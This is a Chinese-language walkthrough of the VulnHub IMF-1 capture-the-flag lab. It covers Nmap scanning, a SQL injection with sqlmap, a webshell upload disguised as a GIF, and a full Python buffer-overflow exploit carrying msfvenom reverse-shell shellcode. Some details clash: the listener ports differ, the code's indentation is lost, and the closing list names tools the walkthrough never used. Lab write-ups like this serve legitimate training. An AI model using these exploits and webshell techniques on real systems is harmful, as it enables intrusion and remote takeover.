imf-1,162靶机通关记录

01
靶场搭建
1、靶场下载
下载地址:https://www.vulnhub.com/entry/imf-1,162/

2、安装靶场(以VirtualBox为例)
导入虚拟机电脑

打开指定的虚拟机文件。

点击完成。

02
信息收集
1、启动靶机和kali


2、使用Nmap获取靶机地址和端口
nmap -sP 10.12.2.0/24
nmap -sS -sV -T5 -A -p- 10.12.2.50


3、访问80端口,在网页代码里发现flag1。

4、Flag1是base64加密字段,解密后为allthefiles。

5、继续查找有无加密字段,发现3个文件名拼接后的加密字段,解密后为flag2{aW1mYWRtaW5pc3RyYXRvcg


6、Flag2是base值,继续破解,结果是imfadministrator 。

7、访问访问目录/ imfadministrator /。

03
漏洞挖掘
1、根据页面提示发现三个用户名。

2、 使用burp工具,pass数据使用空数组,分别登录3个账号,rmichaels账号正确,带出flag3 {Y29udGludWVUT2Ntcw==},解码后为continueTOcms


3、尝试登录imfadministrator/cms.php

4、用php执行SQL注入攻击,将brup截取的代码保存到本地,使用命令sqlmap -l bcsql isk=3 --level=5 --dbs --dump --batch --threads=10



5、查看到底层有jpg文件,将他下载下来查看信息 /images/whiteboard.jpg。


6、手机微信扫描二维码,发现flag4{dXBsb2Fkcjk0Mi5waHA=},解密后为uploadr942.php
04
渗透
1、访问uploadr942.php,发现文件上传漏洞。

2、使用weevely来进行文件上传提权,weevely生成php文件。

3、生成的dayujiayou.php代码经过拦截输入到image。

4、改名为gif文件,随意添加GIF数值。


5、上传文件。

6、查看文件源代码,返回值:bab9954c1979。

7、Weevel进行连接,weevely http://192.168.56.107/imfadministrator/uploads/ bab9954c1979.gif jesse

8、在文件夹里发现flag5.

9、Flag5破解出来的信息agentservices.
命令:find / -name agent &>/dev/null 命令:/usr/local/bin/agent

10、netstat -ant查看端口信息

11、发现7788端口也有代理在执行。

12、到/usr/local/bin目录下查看access_codes发现端口序列:7482 8279 9467。

13、使用knock撬开端口。

14、nc连接端口,提示输入ID。

15、将agent文件下载到本地。

16、agent的文件类型是ELF32位文件。

17、文件提权后执行,随意输入任意ID,ID不对退出后。

18、使用ltrace查看agent信息。随意输入fgets,然后看到了agent ID。
ltrace ./agent ./agent

19、为msfvenom有效负载创建一个shellcode。
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.102 LPORT=6666 -f python -b “\x00\x0a\x0b”

20、利用二进制py修改exp进行提权 将文件写入本地agentsploit.py中。
最终代码:exp.py
------------------------------
#!/usr/bin/python
import time, struct, sys
import socket as so
#Command used for Linux Payload.. replace with your IP - msfvenom -p linux/x86/shell/reverse_tcp LPORT=4444 LHOST=192.168.56.104 -b "\x00\x0a\x0d" -f py
buf = b""
buf += b"\xbf\x64\x68\x24\x07\xdb\xc2\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x1f\x31\x7b\x15\x03\x7b\x15\x83\xc3\x04\xe2"
buf += b"\x91\x02\x2e\x59\x68\x08\xd9\x86\xd9\xed\x75\x23\xdf"
buf += b"\x41\x1f\x3a\x3e\x6c\x60\xab\x9b\x07\xa1\x7c\x23\xb0"
buf += b"\x49\x7f\x53\x51\xd6\xf6\xb2\x3b\x80\x50\x64\xed\x1b"
buf += b"\xe8\x65\x4e\x69\x6a\xe0\x91\x08\x72\xa4\x65\xd6\xec"
buf += b"\x9a\x86\x28\xed\x82\xec\x28\x87\x37\x78\xcb\x66\xfe"
buf += b"\xb7\x8c\x0c\xc0\x31\x30\xe5\xe7\x73\x4d\x43\xe7\x63"
buf += b"\x52\xb3\x6e\x60\x93\x58\x7c\xa6\xf7\x93\xcc\x55\x35"
buf += b"\x2b\xa9\x66\xbd\x3c\xea\xef\xdf\xa4\xbe\xd4\xaf\xd4"
buf += b"\x73\x94\x55\x1a\xf3\x97\xaa\x7a\xbb\x99\x54\x7d\xbb"
buf += b"\x22\x55\x7d\xbb\x54\x9b\xfd"
#CALL EAX address is 8048563
buf += "A" * (168 - len(buf))
buf +="\x63\x85\x04\x08\n"
try:
server = str(sys.argv[1])
port = int(sys.argv[2])
except IndexError:
print "[+] Usage example: python %s 192.168.56.101 7788" % sys.argv[0]
sys.exit()
#Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3.
s = so.socket(so.AF_INET, so.SOCK_STREAM)
print "\n[+] Attempting to send buffer overflow to agent...."
try:
s.connect((server,port))
s.recv(1024)
s.send("48093572\n")
s.recv(1024)
s.send("3\n")
s.send(buf)
s.recv(1024)
print "\n[+] Completed."
except:
print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."
sys.exit()
21、执行agentsploit.py,并开启监听
python2 agentsploit.py 192.168.56.107 7788
nc -vlp 4444


22、在root目录发现flag6

通过本次靶场练习,学习了nmap扫描工具、hosts文件修改、dirb目录扫描工具、wpsan扫描工具、msfconsole漏洞利用工具、john破解工具、利用nc传输文件、wireshark分析工具、环境变量提权。
本文章是原创,转载请联系小编
如果我们的文章对你有帮助,就把我们“设为星标”吧!
↓↓↓
3秒加星标,这样就不容易错过文章推送啦!


往期回顾

请长按下方图片
识别二维码 关注河北镌远
为客户创造价值
与客户共同成长




